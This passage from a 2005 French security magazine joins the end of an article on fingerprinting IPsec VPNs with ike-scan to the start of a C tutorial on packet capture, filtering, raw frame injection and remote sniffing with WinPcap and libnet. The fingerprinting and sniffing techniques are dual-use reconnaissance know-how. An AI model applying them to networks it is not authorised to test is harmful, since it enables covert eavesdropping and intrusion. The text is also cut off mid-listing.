de son nom d'hôte pour son ID et le
nom choisi vous donne déjà l'idée du
fabricant et du modèle du système.
Si vous regardez attentivement, vous
verrez que le VPN Concentrator pla-
ce ses payload dans l'ordre différent
dans le PIX : le VPN Concentrator
envoie SA, Key Exchange, Nonce, ID,
Hash, VID x 5, alors que PIX envoie
SA, VID x 4, Key Exchange, ID, Nonce,
Hash. Cette différence vous indique
que même si les deux systèmes
proviennent du même fabricant, ils
se basent sur des implémentations
différentes de IPsec.
Différences dans le
comportement
Les différences dans le comportement
des implémentations IPsec différentes
avec les stratégies de backoff ainsi
que l'ordre des charges dans le paquet
IKE ont été déjà abordées. Cette par-
tie présente quelques exemples des
différences qui peuvent être utilisées
pour détecter les implémentations
IPsec. Certaines différences ne sont
pas complètement défnies ; en ce qui
concerne les autres, les procédures
RFC peuvent être interprétées de
façons différentes et il y en aussi qui
n'ont aucun sens.
Longueur de clé de
chiffrement pour les chiffres
avec les clés de longueur fxe
L'attribut de transformation relatif à la
longueur de la clé est utilisé pour les
algorithmes de chiffrement avec les
clés de longueur variable, comme
AES. Il ne faut pas l'utiliser dans les
algorithmes de chiffrement avec les
clés de longueur fxe, telles que DES
et Triple-DES. D'après la procédure
RFC 2409 : Il NE FAUT PAS utiliser
cet attribut lorsque l'algorithme de
chiffrement spécifé se sert d'une clé
de longueur fxe. On considèr que les
implémentations différentes gèrent
cette situation de façons différentes :
certaines rejettent la transformation,
d'autres ignorent l'attribut relatif à la
longueur de la clé et d'autres encore
acceptent cet attribut.
Le Listing 9 présente la réponse
de trois systèmes différents concer-
nant l'attribut relatif à la longueur
de la clé, en spécifant une valeur
absurde de vingt sept avec un triple
DES, qui se sert d'une clé à longueur
fxe. Si vous l'observez attentive-
ment, vous remarquerez les compor-
tements suivants :
• Checkpoint Firewall-1 – accepte
la transformation et retourne la
même longueur de la clé en ré-
ponse,
• Cisco VPN Concentrator – ne
répond pas du tout,
• Nortel Contivity – répond par
un message de notifcation No
Proposal Chosen (aucune propo-
sition n'a été sélectionnée),
Listing 10. Découvrir le nombre maximal des transformations
analysées par Firewall-1
$ ike-scan `perl -e 'print "--trans=2,3,4,5 " x 19 . §
"--trans 5,2,1,2";'` 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK §
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
$ ike-scan `perl -e 'print "--trans=2,3,4,5 " x 20 . §
"--trans 5,2,1,2";'` 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Notify message 14 (NO-PROPOSAL-CHOSEN)
Sur Internet
• http://www.nta-monitor.com/whitepapers/udp-backoff-whitepaper.pdf – livre blanc
sur la technique de fngerprinting de backoff en UDP,
• http://www.nta-monitor.com/news/vpn-faws/VPN-Flaws-Whitepaper.pdf – livre
blanc détaillant plusieurs défauts courants de VPN IPsec,
• http://www.nta-monitor.com/ike-scan/index.htm – outil ike-scan,
• http://www.iana.org/assignments/ipsec-registry – numéros d'attributs de transfor-
mations IKE attribués par IANA,
• http://www.nta-monitor.com/news/checkpoint2004/index.htm – exemple de la
technique de fngerprinting de Vendor ID Checkpoint.
hakin9 Nº 6/2005 www.hakin9.org
Fiche technique
56
• Windows 2003 – accepte la
transformation mais ne retourne
pas d'attribut relatif à la longueur
de la clé.
Chiffrement d'attributs de
longueur variable pour des
valeurs minimes
Il existe deux types d'attributs de trans-
formation : les attributs de base qui
prennent une valeur de 16 bits et les
attributs variables dont la valeur peut
être de n'importe quelle taille. Une
durée en secondes peut constituer un
exemple d'un attribut variable.
Ike-scan enverra toujours la durée
en secondes en tant qu'un attribut
variable mais le serveur le retourne
parfois comme un attribut de base si la
valeur entre dans le 16 bits. La procé-
dure RFC 2409 l'autorise : Les attributs
de longueur variable PEUVENT être
chiffrés comme les attributs de base
si leur valeur entre dans deux octets.
Si un attribut de base est retourné,
ike-scan affchera alors la valeur sous
forme d'un nombre décimal, par exem-
ple : LifeDuration=28800. Si c'est un
attribut variable qui est retournée, ike-
scan affchera alors le nombre d'oc-
tets, suivi de la valeur sous forme d'un
nombre hexadécimal, p. ex. LifeDura
tion(4)=0x00007080. Si vous utilisez la
durée de 28800 secondes par défaut,
qui entre dans le 16 bits, vous remar-
querez que Cisco VPN Concentrator
et Cisco PIX retournent un attribut de
base en ce qui concerne la durée mais
Checkpoint Firewall-1, Nortel Contivity
et Windows 2003 retournent un attri-
but de longueur variable.
Nombre maximal de
transformations analysées
Le nombre des transformations
qui peuvent se trouver dans une
proposition SA n'est limité que par
la taille maximale du datagramme
IP qui s'élève à 64 Ko. Ceci per-
met donc d'effectuer environ 1800
transformations. Toutefois, la plupart
des implémentations IPsec n'effec-
tueront qu'un nombre restreint de
transformations. Cette restriction
dépend des implémentations mais
en général, elle est plus petite qu'en
théorie.
RFC 2409 autorise une restric-
tion du nombre des transformations
supportées ; d'après cette procé-
dure : Il n'existe aucune restriction
en ce qui concerne le nombre des
propositions que l'initiateur peut
envoyer à un serveur/répondeur
mais les implémentations conformes
PEUVENT choisir de limiter le nom-
bre des propositions à analyser pour
des raisons de performance.
Pour déterminer le nombre
maximal des transformations qu'une
implémentation donnée analysera,
vous envoyez un certain nombre
des transformations inacceptables,
suivi d'une transformation accep-
table ; vous variez le nombre des
transformations inacceptables pour
trouver le point où le serveur VPN
n'accepte plus la proposition. Puisque
vous avez souvent besoin de générer
des centaines de transformations,
il est plus facile d'utiliser un simple
script Perl pour générer les options
ike-scan. À titre d'exemple, si vous
savez que le serveur VPN accep-
tera une transformation avec des
attributs Enc=3DES, Hash=SHA1,
Auth=PSK, Group=2, et n'accep-
tera pas une transformation avec
des attributs Enc=IDEA, Hash=Tiger,
Auth=RSA_enc, Group=5, vous pou-
vez envoyer une proposition avec 99
transformations non valables, suivie
d'une transformation valable au ser-
veur VPN au 10.0.0.1 avec : ike-scan
`perl -e 'print "--trans=2,3,4,5 "
x 99 . "--trans 5,2,1,2";'` 10.0.0.1.
Si le serveur VPN répond par un
message de prise de contact (hands-
hake), vous savez alors qu'il supporte
au moins 100 transformations.
À titre d'exemple, dans le cas de
Checkpoint Firewall-1, il a été constaté
qu'il analyse vingt transformations au
maximum. Le Listing 10 présente les
réponses du Firewall-1 : tout d'abord
avec vingt transformations et ensuite,
avec vingt-et-une transformations.
Conclusion
La technique de détection et de prise
d'empreinte des VPN IPsec est très
utile et devrait faire partie de tout test
d'intrusion. Même s'il n'y a aucune
vulnérabilité dans l'implémentation
IPsec, la technique de fngerprinting
peut fournir des informations utiles,
par exemple : des détails sur le
pare-feu, ce qui aidera dans les tests
d'autres terrains.
La complexité du protocole IP-
sec, et en particulier de IKE, justife
la présence des différences entre les
implémentations. L'article a présenté
seulement de quelques méthodes de
fngerprinting possibles développées
depuis plusieurs années. Sûrement
de nombreuses méthodes restent
encore à découvrir. l
À propos de l'auteur
Roy Hills a fondé NTA Monitor Ltd,
une société britannique chargé des
tests de sécurité. Il est l'auteur de l'outil
ike-scan, chargé d'examiner la sécurité
IPsec. Il a également trouvé plusieurs
vulnérabilités à l'aide de cet outil dans
les produits en provenance de Check-
point, Cisco, Nortel et Juniper.
Glossaire
• VPN (Virtual Private Network) – permet aux réseaux locaux de communiquer via les
réseaux publics, comme Internet, en général, à travers un canal chiffré,
• IPsec (Internet Protocol SECurity) – fonctions de sécurité (authentifcation et
chiffrement) implémentées au niveau IP de la pile de protocoles. La majorité des
implémentations VPN se servent de IPsec,
• IKE (Internet Key Exchange) – protocole utilisé par IPsec pour échanger de clés et
authentifer les utilisateurs ou les périphériques aux deux bouts de VPN. IKE est
défni dans la procédure RFC 2409,
• SA (Security Association) – canal de communication sécurisé. Les détails SA
incluent les méthodes de chiffrement et d'authentifcation, les clés de chiffrement
et les identifcateurs de points d'extrémité. La charge SA dans un paquet IKE est
utilisée pour négocier une association de sécurité (SA).
www.hakin9.org hakin9 Nº 6/2005 58
Programmation
C
hez moi, tout fonctionne bien – c'est
la réponse la plus probable donnée
par l'administrateur à l'utilisateur
se plaignant de problèmes. En général, l'adminis-
trateur a raison, car c’est une faute de l'utilisateur
qui ne suit ni indications ni conseils. Pourtant, ce
bon administrateur peut se trouver un jour dans
une situation identique – il est sûr d'avoir tout
bien confguré conformément aux instructions,
mais malgrè cela, quelque chose peut venir
à mal fonctionner.
Si la confguration est correct ainsi que les
erreurs connues éliminées, il ne reste qu'à cher-
cher plus profondément. L'identifcation des er-
reurs peut être effectuée à l'aide d’applications
telles que Ethereal ou Analyzer, permettant
d'intercepter, fltrer et identifer les paquets ar-
rivant sur chaque ordinateur du réseau. Grâce
à ces programmes, l'administrateur saura ce
qui est actuellement envoyé à chaque station
via le réseau, et il sera capable d'identifer la
source des problèmes.
Si le problème s'avère plus grave et exige
d'être analysé plus profondément, il sera né-
cessaire d'écrire une application spécialement
dédiée à celui-ci. Elle permettra de suivre le pro-
blème et de retrouver les dépendances entre les
données provenant de sources distantes. Il n'est
pas facile d'écrire un tel programme, et l'un des
principaux problèmes est le choix d'une bibliothè-
que d'accès au réseau appropriée, avec la prise
en compte de la couche ISO/OSI sur laquelle elle
opère. En fonction de l'ampleur du problème, le
Plein contrôle ou accès de
bas niveau au réseau
Konrad Malewski
Degré de diffculté
Il n'est pas facile d'écrire des applications exigeant l'accès
à la plupart des couches ISO/OSI : il est parfois nécessaire de
construire des paquets à envoyer de façon non standard. Une aide
excellente sont les bibliothèques WinPcap et libnet – grâce à elles,
l'utilisateur peut contrôler tous les paquets envoyés via le réseau.
Cet article explique...
• comment intercepter tous paquets vus par la
carte réseau et comment les flter à l'aide de
mécanisme conforme à tcpdump,
• comment envoyer des trames Ethernet,
• comment construire un paquet réseau correct
dans chacune des couches ISO/OSI à l'aide de
la bibliothèque libnet et l'envoyer via n’importe
quelle interface,
• comment écrire un sniffeur personnel pouvant
intercepter des données traitées sur une ma-
chine distante.
Ce qu'il faut savoir...
• connaître le modèle ISO/OSI,
• les notions de base sur le fonctionnement du
réseau TCP/IP,
• la programmation en C/C++.
Accès de bas niveau au réseau
hakin9 Nº 6/2005 www.hakin9.org 59
programme aura besoin, par exemple,
d'accéder à la couche de liaison de
données, il se peut qu'il nécessitera
d'opérer directement sur les trames
ethernet. En d'autres cas, il sufft
d'utiliser une bibliothèque de niveau
d'abstraction élevé fonctionnant sur la
couche de transport.
L'essentiel c'est une
bonne bibliothèque
L'utilisation d'une interface réseau
de haut niveau a beaucoup d'avanta-
ges. L'un d'eux est la simplicité d'em-
ploi et l'universalité des mécanismes
d'envoi de données. Après quelques
temps, l'administrateur consta-
tera qu'une API de haut niveau ne
lui donne pas le plein contrôle sur les
données envoyées, sans pour autant
parler de l'écoute ou de l'analyse des
trames réseau brutes.
Le problème du contrôle des
données envoyées peut être résolut
de plusieurs manières. La plus sim-
ple consiste à employer des sockets
réseau bruts (en anglais raw socket),
mais dans ce cas, il est impossible
de commander toutes les options
des paquets envoyés – une partie du
champs dans les en-têtes est gérée
par le pilote des sockets. Pour vous
faciliter la vie, vous pouvez employer
la bibliothèque WinPcap, disponible
à l'adresse http://www.winpcap.org/.
Cette bibliothèque permet non
seulement l'enregistrement et la
lecture de bas niveau à partir des
périphériques réseau, mais aussi
le fltrage avancé des données qui
sont mises systématiquement sur
écoute ainsi que la mise en page
des statistiques de chaque interface.
Une possibilité supplémentaire est
l'enregistrement directe des paquets
sur le disque dur effectué au niveau
du noyau système. Cela améliore
de façon importante la performance
de l'enregistrement en réduisant le
temps des appels système.
L'interface de la bibliothèque est
claire et simple d'emploi, mais ne four-
nit pas de mécanismes supportant la
création des paquet de niveaux plus
élevés. Ici, c'est la bibliothèque libnet
(http://www.packetfactory.net/libnet/ )
qui peut vous aider. Les fonctions
qu'elle offre permettent de construire
plus facilement des paquets de ni-
veaux élevés, tels que ARP, IP, TCP,
ou même plus rare comme VRRP
– et de les envoyer vers le réseau de
manière à ne pas être contrôlée par le
pilote TCP/IP.
Structure de WinPcap
La bibliothèque WinPcap se compose
de trois composants – d'un pilote
fonctionnant en mode noyau de bas
niveau, d'une bibliothèque de bas ni-
veau packet.dll, et d'une bibliothèque
de haut niveau wpcap.dll indépen-
dante du système. Le pilote du noyau
s'occupe de la fonctionnalité de la
bibliothèque et communique directe-
ment avec les pilotes des interfaces
réseau. Le module du noyau, appelé
par les auteurs de la bibliothèque :
Netgroup Packet Filter (en abrégé
NPF), fonctionne en tant que pilote
NDIS Protocol Driver (de même que
le pilote TCP/IP intégré dans le systè-
me Windows). Cela lui permet l'accès
au pilote de la carte réseau qui serait
indépendant de la couche MAC. Pour
chaque version du système d'exploita-
Figure 1. Les couches ISO/OSI et les protocoles correspondants
Figure 2. Les protocoles disponibles dans libnet
Figure 3. La structure réseau du
système Windows
hakin9 Nº 6/2005 www.hakin9.org
Programmation
60
tion (Windows 95/98/ME/NT4/2000/
XP), un autre pilote est fourni.
Le pilote fonctionnant en mode
noyau serait inutile sans bibliothè-
ques fonctionnant en mode utilisa-
teur qui permettent de profter des
propriétés de celui-ci. WinPcap con-
tient deux bibliothèques communi-
quant avec le module du noyau et qui
offrent une interface de bas niveau
(dans la bibliothèque packet.dll)
et de haut niveau (dans la bibliothè-
que wpcap.dll). Le premier permet un
appel direct des fonctions des pilotes
du noyau, et le second offre une
interface indépendante du système
et conforme au libpcap de *NIX.
Programmation de WinPcap
L'utilisation d'une interface conforme
à libnet permet l’écriture de program-
mes portables – fonctionnant aussi
bien sous Windows que sous Linux.
Le travail avec cette bibliothèque
peut être divisé en trois étapes :
l'initialisation (le choix du périphéri-
que réseau, l'application des fltres
et l'ouverture de l'interface), le travail
avec le périphérique (le chargement
et l'envoi des paquets) et la libération
des ressources allouées.
Le premier pas consiste à charger
tous les identifcateurs d’interfaces
disponibles dans le système. Pour
cela, on dispose de la fonction à deux
arguments pcap _ fndalldevs(), dont
le premier argument est un pointeur
vers la structure pcap _ if _ t, et le
deuxième – un pointeur vers le tam-
pon stockant les erreurs. Quant à la
structure pcap _ if _ t, ce qui vous
intéressent, sont les valeurs des
deux champs : name et description.
La fonction pcap _ fndalldevs() a une
portée locale. Cela veut dire qu'elle
ne permet que de rechercher les pé-
riphériques disponible de l'ordinateur
sur lequels le programme a été lancé.
La plupart des fonctions WinPcap
opère sur la structure identifant l'in-
terface (pcap _ t). Pour initialiser cette
variable, il faut utiliser par exemple
la fonction pcap _ open(), dont les
tâches consistent, entre autres,
à ouvrir le périphérique et à initiali-
ser les tampons. L'exemple du code
permettant de choisir le périphérique
Compilateur
Pour compiler le programme utilisant
les bibliothèques WinPcap et libnet, on
peut faire appel à la plupart des com-
pilateurs disponibles sur le marché.
À moins que la bibliothèque WinPcap
ne soit disponible que pour la plate-
forme Windows, libnet peut être com-
pilée sous Linux comme FreeBSD.
Pour la compilation, on peut utiliser
par exemple le gratuiciel gcc, ou Visual
Studio .NET qui est commercialisé. At-
tention – un problème peut se produire
dans le cas du compilateur Borland
C++ Builder qui utilise un format de
bibliothèques différent – appelé OMF
(en anglais Object Module Format).
Pour pouvoir en profter, il faut convertir
les bibliothèques compilées du format
COFF (en anglais Common Object File
Format) en OMF. Pour ce faire, on peut
utiliser l'outil coff2omf.exe, disponible
avec le logiciel de l'entreprise Borland.
Listing 1. Le choix de l'interface et l'initialisation de la bibliothèque
WinPcap
pcap_if_t *alldevs,*d;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE+1];
int i=0,inum=0;
/* Retrouver les interfaces WinPcap */
if (pcap_fndalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_fndalldevs: %s\n", errbuf);
return -1;
}
/* Saisir la liste des interfaces */
for(d=alldevs; d; d=d->next)
{
printf("%d.\t%s", ++i, d->name);
if (d->description)
printf("\n\t\t(%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* Libérer les ressources réseau */
pcap_freealldevs(alldevs);
return -1;
}
/* Sauter au périphérique réseau sélectionné */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Ouvrir le périphérique réseau */
if ( (fp=pcap_open(d->name,
100 /*snaplen*/,
PCAP_OPENFLAG_PROMISCUOUS /*fags*/,
20 /*read timeout*/,
NULL /* remote authentication */,
errbuf)
) == NULL)
{
fprintf(stderr,"\nError opening adapter\n");
pcap_freealldevs(alldevs);
return -1;
}
Accès de bas niveau au réseau
hakin9 Nº 6/2005 www.hakin9.org 61
réseau et d'initialiser les variables a
été présenté dans le Listing 1.
Les paramètres de la fonction
pcap _ open() sont respectivement : le
nom de l'interface, la taille maximale
du paquet, le drapeau déterminant si
l'interface sera ouvert en mode pro-
miscuous, la durée d'attente du paquet
par la fonction chargeant les paquets,
la variable responsable de l'autorisa-
tion sur une machine distante (utilisée
en cas d'une interception distante des
paquets) et le tampon stockant les
messages d'erreur.
Le mode promiscuous doit être
activé au cas où l'on veut intercepter
les paquets adressés aux autres uti-
lisateurs du réseau. Si votre carte ré-
seau est connecté à un commutateur
(switch) au lieu d’un concentrateur
(hub), le fait de commuter la carte ne
produira pas l'effet attendu. Cela ré-
sulte du schéma de fonctionnement
du commutateur. Dans cette situa-
tion, il faut soit exploiter l'interception
des paquet à distance, soit essayer
de contraindre le commutateur à tra-
vailler en mode multiplicateur. C'est
possible, par exemple, à l'aide de la
méthode ARP spoofng.
La fermeture de l'interface se fait
au moyen de la fonction a un argu-
ment pcap _ close(), dont l'argument
est la variable de type pcap _ t. Lors
de la fermeture de l'application, il
faut libérer les ressources allouées
par pcap _ fndalldevs(). Pour cela,
il faut exécuter la fonction pcap _
freealldevs().
Écouter le réseau
Le téléchargement des paquets ré-
seau peut se faire de deux manières
– par le chargement séquentielle des
paquets et par l'enregistrement de la
fonction qui sera appelée après un
certain nombre de paquets obtenus.
Dans cet article, seulement une d'elles
sera présentée – à l’aide de la fonction
pcap _ next _ ex(). Les paramètres de
cette fonction sont : le pointeur vers
l'identifcateur WinPcap (pcap _ t),
le pointeur vers la structure de l'en-
tête du paquet (struct pcap _ pkthdr
– contenant des informations telles
que le temps de paquet et la taille des
données) et le pointeur vers le tableau
dans lequel le contenu du paquet sera
enregistré. Le Listing 2 illustre com-
ment profter de ce mécanisme.
À la suite de l'exécution du code
ci-dessus, le contenu du paquet in-
tercepté, similaire à celui présenté
dans le Listing 3, sera affché sur
l'écran. Ensuite, le développeur doit
identifer les en-têtes des protocoles
des couches consécutives. À moins
de déterminer le type de couche
de liaison de données à l'aide de la
fonction pcap _ datalink(), l'analyse
de la suite du paquet doit être effec-
tuée manuellement.
La bibliothèque offre la possi-
bilité de fltrer le trafc réceptionné.
Le fltre appliqué est conforme à
la spécifcation disponible sur le
site http://www.tcpdump.org et aide
à effectuer une sélection détaillée
des paquets. Le fltre doit être conf-
guré après l'initialisation de l'interfa-
ce ; le fltre WinPcap est une fonction
booléenne dont l'argument est le pa-
quet, la valeur retournée décide de
l'acceptation ou du refus d'un paquet
(0 = faux, 1 = vrai).
Pour accélérer l'exécution de la
fonction de fltrage, la bibliothèque
WinPcap compile pendant le fonction-
nement l'expression fltrante qui prend
une forme binaire. Elle est stockée
dans la structure struct bpf _ program,
et compilée à l'aide de la fonction
pcap _ compile(). Après la compilation
du fltre, celui-ci est appliqué sur l'inter-
face par la fonction pcap _ setflter().
L'exemple d'un code réalisant le fl-
trage est présenté dans le Listing 4.
Envoi des paquets
Les possibilités de la bibliothèque ne
se limitent pas à la consultation et au
fltrage des paquets ; WinPcap per-
met aussi l'envoi de paquets bruts.
Cette propriété de la bibliothèque
est appelée dans la documentation
Windows specifc et l'API responsa-
ble de l'envoi n'est pas conforme à la
spécifcation libpcap. Pour envoyer
une portion de données brutes dans
le réseau, il faut utiliser la fonction
pcap _ sendpacket(). Le Listing 5
présente comment envoyer un tel
paquet.
Listing 2. La boucle principale interceptant les paquets
struct pcap_pkthdr *header;
const u_char *pkt_data;
int res;
/* Lire les paquets et les écrire sur l'écran*/
while((res = pcap_next_ex( fp, &header, &pkt_data)) >= 0)
{
if(res == 0) /* Le temps d'attente du paquet a dépassé */
continue;
/* Saisir le temps de réception du paquet et sa taille */
printf("%ld:%ld (%ld)\n", header->ts.tv_sec,
header->ts.tv_usec, header->len);
/* Saisir le contenu du paquet */
for (i=1; (i < header->caplen + 1 ) ; i++)
{
printf("%.2x ", pkt_data[i-1]);
if ( (i % LINE_LEN) == 0) printf("\n");
}
printf("\n\n");
}
Listing 3. Le contenu du paquet intercepté
1119431977:531612 (74)
00 0b 6a 8d 54 15 00 a1 b0 08 8b cc 08 00 45 00
00 3c 22 b6 00 00 80 01 94 b5 c0 a8 01 03 c0 a8
01 02 00 00 4f 5c 02 00 04 00 61 62 63 64 65 66
67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76
77 61 62 63 64 65 66 67 68 69
hakin9 Nº 6/2005 www.hakin9.org
Programmation
62
Sniffeur distant
Imaginez la situation où vous devez
écrire une application fonctionnant
comme moniteur réseau et opérant
sur des données distantes (cf. la
Figure 4). Même si l'écoute du trafc
des ordinateurs 2, 3 et 5 soit simple
à réaliser au moyen des fonctions
WinPcap dont il a été déjà parlé,
l'écoute du trafc dans la station 1 et 4
peut, à première vue, poser de pro-
blèmes – ces postes sont situés hors
réseau de la station de surveillance
dans lequel se trouve le sniffeur.
Il s'avère aussi que dans ce cas,
il est possible d'exploiter la bibliothè-
que WinPcap car elle permet l’inter-
ception distante des paquets. Deux
parties interviennent dans le sché-
ma : un sniffeur (un écoutant) et un
client qui envoie les commandes et
réceptionne les paquets interceptées
par l'ordinateur effectuant l'écoute.
Cette possibilité a été introduite
dans la troisième version de la biblio-
thèque et est en phase d'expérimen-
tations, pourtant, elle fonctionne assez
bien et on peut l'utiliser. De plus, cette
fonctionnalité n'est pas exigeante – de
trop grosses modifcations du code
source ne sont pas nécessaires. Si le
programme du client a bien été écrit,
aucune modifcation n'est nécessaire.
Pour que le sniffng à distance
fonctionne, il faut confgurer l'ordina-
teur qui écoute de façon appropriée.
Outre l'installation de la bibliothèque,
il faut lancer le service rpcapd qui ef-
fectue l'écoute et envoie les données
vers le client.
Vous pouvez activer ce service
de deux manières : à l'aide de la ligne
de commande, lancez le programme
rpcapd.exe ou à l'aide de MMC
et son complément Service lancez
Remote Packet Capture Protocol v.0
(experimental). Dans le deuxième
cas, les options de confguration
sont présentes dans le fchier .ini
(l'emplacement par défaut : C:\
Listing 4. Le fltrage du trafc
struct bpf_program fcode;
bpf_u_int32 NetMask=0xffffff;
char* flter = "icmp";
/* Compiler le fltre */
if(pcap_compile(fp, &fcode, flter, 1, NetMask) < 0)
{
fprintf(stderr,"\nError compiling flter: wrong syntax.\n");
return -1;
}
/* Confgurer le fltre */
if(pcap_setflter(fp, &fcode)<0)
{
fprintf(stderr,"\nError setting the flter\n");
return -1;
}
Listing 5. L'envoi des trames ethernet
u_char memtowrite[pkt_len];
/* << Ici, on formate le paquet ethernet
** en confgurant ses champs respectifs
** Ensuite, on l'envoie dans le réseau */
int result = pcap_sendpacket (fp, (u_char *) &memtowrite, pkt_len);
if (result == -1)
{
fprintf(stderr,"\nError sending packet\n");
return;
}
Figure 4. L'architecture d'un sniffeur distant possible à réaliser
Accès de bas niveau au réseau
hakin9 Nº 6/2005 www.hakin9.org 63
Program Files\WinPcap\rpcapd.ini).
Dans le premier cas, les options sont
défnies directement dans la ligne de
commande :
rpcapd [-b <address>] [-p <port>]
[-6] [-l <host_list>]
[-a <host,port>] [-n] [-v] [-d]
[-s <fle>] [-f <fle>]
Le service peut être lancé en deux
modes :
• passif,
• actif.
En mode passif, la station de sur-
veillance (client) se connecte au servi-
ce distant, lui envoie les commandes
qui permettent au service d'intercepter
les trames et les envoie vers le client.
Ce mode est un mode par défaut.
En mode actif, le service distant
essaie d'établir la connexion avec
le client qui, après réception de la
connection envoie les commandes
pour commencer l'écoute réseau.
Ce mode est employé en cas de pré-
sence de pare-feux à l’intérieur des
réseaux mis sur écoutes. Si un pare-
feu refuse les connexions entrantes,
mais laisse échapper les connexions
sortantes, il faut utiliser ce mode.
Une fois la connexion établie – aussi
bien en mode actif que passif – les
communications vers le client et vers
le service sont identiques.
De même qu'en cas de travail en
local, il faut sélectionner un périphéri-
que distant à ouvrir. Pour avoir la liste
des périphériques, on peut utiliser la
fonction pcap _ fndalldevs _ ex() qui,
prend l'argument de type pcap _
rmtauth. Cette variable détermine le
type et les paramètres d’autorisation
sur la machine distante. Les options
possibles sont : RPCAP _ RMTAUTH _ PWD
en cas d'authentifcation par nom
utilisateur et mot de passe et RPCAP _
RMTAUTH _ NULL en cas de manque
d'authentifcation (c'est ce qu'on
appelle l’authentifcation NULL). Le
premier paramètre de la fonction
recherchant les interfaces défnit
quelle interface, locale ou distante,
sera ouverte et pointe vers l'adresse
d'hôte ainsi que son port.
Les schémas possibles pour ce pa-
ramètre sont :
• fle://folder/ – affche la liste des
fchiers dans un répertoire,
• rpcap:// – affches toutes les in-
terfaces locales,
• rpcap://host:port/ – comme
ci-dessus, mais concerne l'hôte
distant.
S’il s'agit de l'expression host:port,
la bibliothèque admet :
• hôte (en lettres) : par exemple
www.hakin9.org,
• hôte (en chiffres IPv4) : par
exemple 157.158.181.42,
• hôte (en chiffres IPv4, IPv6) : par
exemple [157.158.181.42],
• hôte (en chiffres IPv6) : par
exemple [1:2:3::4],
• port : en chiffres (par exemple 80)
ou en lettres (par exemple ftp).
À la suite de l'emploi de la fonction
pcap _ fndalldevs _ ex(), la liste des
noms des interfaces retournées (le
champ name dans la structure de type
pcap _ if _ t) sera aussi conforme
au schéma mentionné ci-dessus
(rpcap://adresse:port/). Si on dé-
fnit manuellement l'interface du
périphérique ouvert (le paramètre
source de la fonction pcap _ open()),
il est interdit d'utiliser rpcap:// pour
ouvrir la première interface locale et
rpcap://host/ pour ouvrir la première
interface sur la machine distante
(cf. le Listing 6).
Il ne faut pas oublier d'utiliser la
variable de type pcap _ rmtauth lors
de l'appel de la fonction pcap _ open().
Sinon, le système distant ne permet-
tra pas d'ouvrir le périphérique. Ces
petites modifcations permettent
d'exploiter pleinement le périphéri-
que distant. Le reste du programme
(la partie responsable du fltrage, du
téléchargement et de l'envoi des pa-
quets) ne change pas.
Comme il a été déjà mentionné,
WinPcap peut fonctionner en mode
actif et passif. Cette méthode décrit
Tableau 1. La description des options du programme rpcapd.exe
Options Description
-b <address>
Confgure l'adresse sur lequel le service effectuera
l'écoute. Par défaut, ce service écoute autant sur une
adresse IPv4 qu'IPv6.
-p <port>
Détermine le port sur lequel le service écoute. Par
défaut, c'est le port 2002.
-4
Le service n'écoute que sur l'adresse IPv4.
-l <host _ list _
fle>
Détermine le fchier contenant la liste des hôtes pou-
vant se connecter au service, divisés par les sauts de
ligne.
-n
Permet d'omettre l'autorisation. Par défaut, il faut indi-
quer dans le paramètre de la fonction le nom et le mot
de passe utilisateur.
-a <host, port>
Lance le service en mode actif et le contraint à se
connecter à l'ordinateur défnit par les paramètres. Si
le port n'est pas déterminé, par défaut le port 2003 est
utilisé.
-v
Lance le service uniquement en mode actif. Par défaut,
après la saisie du paramètre, le service écoute aussi
en mode passif.
-d
Lance le service (ou démon sur un système de type
*NIX).
-s <fle>
Enregistre la confguration actuelle dans un fchier.
-f <fle>
Lit la confguration du fchier.
-h
Affche la liste des commutateurs avec leur description.
hakin9 Nº 6/2005 www.hakin9.org
Programmation
64
le mode de connexion passif. Pour
lancer l'interception en mode actif,
il faut commencer à modifer les
paramètres de la machine intercep-
tant les paquets en ajoutant l'option
-a à la commande permettant de
démarrer le service rpcapd ou lan-
cer ce mode à partir de la ligne de
commande :
rpcapd.exe -a<adresse de la station> -v
Ensuite, il faut modifer le code de
façon à ce qu'avant la recherche de
périphériques par la fonction pcap _
fndalldevs _ ex(), celui-ci attende
et accepte les connexions d'un ser-
vice distant (cf. le Listing 7).
Le mode actif n'est donc accessi-
ble qu'au moyen d'une seule fonction.
Il sufft de lui donner en paramètres
la liste des adresses que le service
doit écouter ainsi que le port et la liste
des hôtes pouvant se connecter pour
déterminer les paramètres de con-
nexion. La fonction retourne le nom de
l'hôte qui est actuellement connecté.
La valeur de type SOCKET retour-
née par la fonction pcap _ remoteact _
accept() est un peu trompeuse. Ce
n'est pas un socket réseau, mais
la valeur identifant la connexion
active et utilisée intérieurement par
WinPcap.
De même que dans le mode pas-
sif, le reste du code ne change pas.
Une fois le travail avec l'interface
distant terminé, il faut terminer la
connexion et libérer les ressources
(pcap _ remoteact _ close(), pcap _
remoteact _ cleanup()).
Aide de WinPcap
La confguration manuelle des proto-
coles du model ISO/OSI peut s’avé-
rer intéressante car on peut contrôler
pleinement ce que l'on envoie sur
le réseau. Pourtant, certaines opé-
rations peuvent être automatisées
grâce à l'utilisation de la bibliothèque
libnet, sans perdre pour autant le
contrôle de son contenu.
Initialisation de libnet
La bibliothèque libnet est initialisée
de façon similaire à WinPcap. Pour
cela, vous disposez de la fonction
libnet _ init() dont les trois argu-
ments sont : la méthode d'injection
des paquets, le nom du périphéri-
que (l'argument similaire à celui de
WinPcap) et le tampon stockant les
erreurs.
Listing 6. L'initialisation de la bibliothèque et l'ouverture d'un
périphérique distant
pcap_if_t *alldevs,*d;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE+1];
int i=0,inum=0;
struct pcap_rmtauth auth;
#defne RC_HOST_NAME "192.168.0.9:2002"
/* Confgurer le mode d'autorisation utilisant le nom
et le mot de passe utilisateur */
